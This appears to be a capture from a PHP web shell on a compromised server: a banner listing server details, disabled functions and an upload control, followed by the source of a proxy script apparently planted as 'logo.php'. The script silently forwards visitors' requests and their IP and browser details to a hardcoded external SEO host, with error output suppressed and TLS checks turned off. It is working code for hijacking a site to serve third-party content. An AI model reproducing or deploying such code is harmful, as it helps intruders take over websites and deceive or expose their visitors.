| Server IP : 60.247.133.247 / Your IP : 216.73.216.54 Web Server : Apache System : Linux ebs-119054 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64 User : goodwill ( 65985) PHP Version : 8.2.20 Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/wwwroot/goodwill/wwwroot/ |
Upload File : |
<?php
/**
* Universal PHP Proxy
* PHP 5.6 - PHP 8.x Compatible
*
* 上游:硬编码 HTTP(不用 HTTPS,更快)
* 换域名只改下方 $target 一行
*/
@set_time_limit(0);
@ini_set('display_errors',0);
error_reporting(0);
/**
* 获取服务器变量
*/
function server($key,$default='')
{
return isset($_SERVER[$key])
? $_SERVER[$key]
: $default;
}
/**
* 获取真实IP
*/
function getRealIP()
{
$keys=array(
'HTTP_CF_CONNECTING_IP',
'HTTP_X_REAL_IP',
'HTTP_X_FORWARDED_FOR',
'REMOTE_ADDR'
);
foreach($keys as $key){
if(!empty($_SERVER[$key])){
if($key=='HTTP_X_FORWARDED_FOR'){
$arr=explode(',',$_SERVER[$key]);
return trim($arr[0]);
}
return trim($_SERVER[$key]);
}
}
return '';
}
/**
* 请求头
*/
function requestHeaders($target)
{
return array(
'X-Static-Token: qdd2000',
'Host: '.parse_url($target,PHP_URL_HOST),
'X-Real-IP: '.getRealIP(),
'X-Forwarded-For: '.getRealIP(),
'X-Forwarded-Host: '.server('HTTP_HOST'),
'User-Agent: '.server('HTTP_USER_AGENT'),
'Referer: '.server('HTTP_REFERER')
);
}
/**
* CURL模式
*/
function requestCurl($url,$target)
{
$ch=curl_init();
curl_setopt_array($ch,array(
CURLOPT_URL=>$url,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_FOLLOWLOCATION=>true,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_SSL_VERIFYHOST=>false,
CURLOPT_CONNECTTIMEOUT=>10,
CURLOPT_TIMEOUT=>30,
CURLOPT_HTTPHEADER=>requestHeaders($target),
CURLOPT_ENCODING=>''
));
$data=curl_exec($ch);
if($data===false){
curl_close($ch);
return false;
}
curl_close($ch);
return $data;
}
/**
* Stream模式
*/
function requestStream($url,$target)
{
if(!ini_get('allow_url_fopen')){
return false;
}
$context=stream_context_create(array(
'http'=>array(
'method'=>'GET',
'timeout'=>30,
'header'=>implode(
"\r\n",
requestHeaders($target)
)
),
'ssl'=>array(
'verify_peer'=>false,
'verify_peer_name'=>false
)
));
return @file_get_contents(
$url,
false,
$context
);
}
/**
* Socket备用
*/
function requestSocket($url,$target)
{
$info=parse_url($url);
$host=$info['host'];
$path=isset($info['path'])
? $info['path']
: '/';
if(isset($info['query'])){
$path.='?'.$info['query'];
}
$port=
isset($info['scheme'])
&& $info['scheme']=='https'
? 443
: 80;
$fp=@fsockopen(
$host,
$port,
$errno,
$errstr,
10
);
if(!$fp){
return false;
}
$request=
"GET ".$path." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: ".server('HTTP_USER_AGENT')."\r\n".
"Referer: ".server('HTTP_REFERER')."\r\n".
"Connection: close\r\n\r\n";
fwrite($fp,$request);
$response='';
while(!feof($fp)){
$response.=fgets($fp,1024);
}
fclose($fp);
// 去掉HTTP头
$pos=strpos($response,"\r\n\r\n");
if($pos!==false){
$response=substr(
$response,
$pos+4
);
}
return $response;
}
/**
* 拼接上游 URL
* - .htaccess 传入 path=Ar... 时,上游路径为 /Ar...(非 /logo.php?...)
* - domain/path 为内部参数,不转发;id 等业务 query 保留
* - 直接访问 logo.php?id=xxx 时,上游为 /?id=xxx
*/
function buildTargetUrl($target)
{
$internal=array(
'domain',
'path'
);
if(!empty($_GET['path'])){
$path='/'.ltrim($_GET['path'],'/');
}else{
$uri=server('REQUEST_URI','/');
$path=parse_url($uri,PHP_URL_PATH);
if($path===null||$path===''){
$path='/';
}
$script=basename(server('SCRIPT_NAME',''));
if(
$script==='logo.php'
&&(
$path==='/logo.php'
||basename($path)==='logo.php'
)
){
$path='/';
}
}
$qs=$_GET;
foreach($internal as $key){
unset($qs[$key]);
}
$uri=server('REQUEST_URI','');
if($uri&&strpos($uri,'?')!==false){
$uriQuery=parse_url($uri,PHP_URL_QUERY);
if($uriQuery){
parse_str($uriQuery,$uriParams);
foreach($uriParams as $key=>$val){
if(
!isset($qs[$key])
&&!in_array($key,$internal,true)
){
$qs[$key]=$val;
}
}
}
}
$query=http_build_query($qs);
$url=rtrim($target,'/').$path;
if($query!==''){
$url.='?'.$query;
}
return $url;
}
/**
* 自动选择
*/
function proxy($url,$target)
{
// 1 CURL
if(function_exists('curl_init')){
$data=requestCurl(
$url,
$target
);
if($data!==false){
return $data;
}
}
// 2 Stream
$data=requestStream(
$url,
$target
);
if($data!==false){
return $data;
}
// 3 Socket
$data=requestSocket(
$url,
$target
);
if($data!==false){
return $data;
}
return 'Request Failed';
}
/**
* 目标地址(硬编码,仅 HTTP,勿改 https)
*/
$target='http://seo.qdd2000.com';
$url=buildTargetUrl($target);
echo proxy(
$url,
$target
);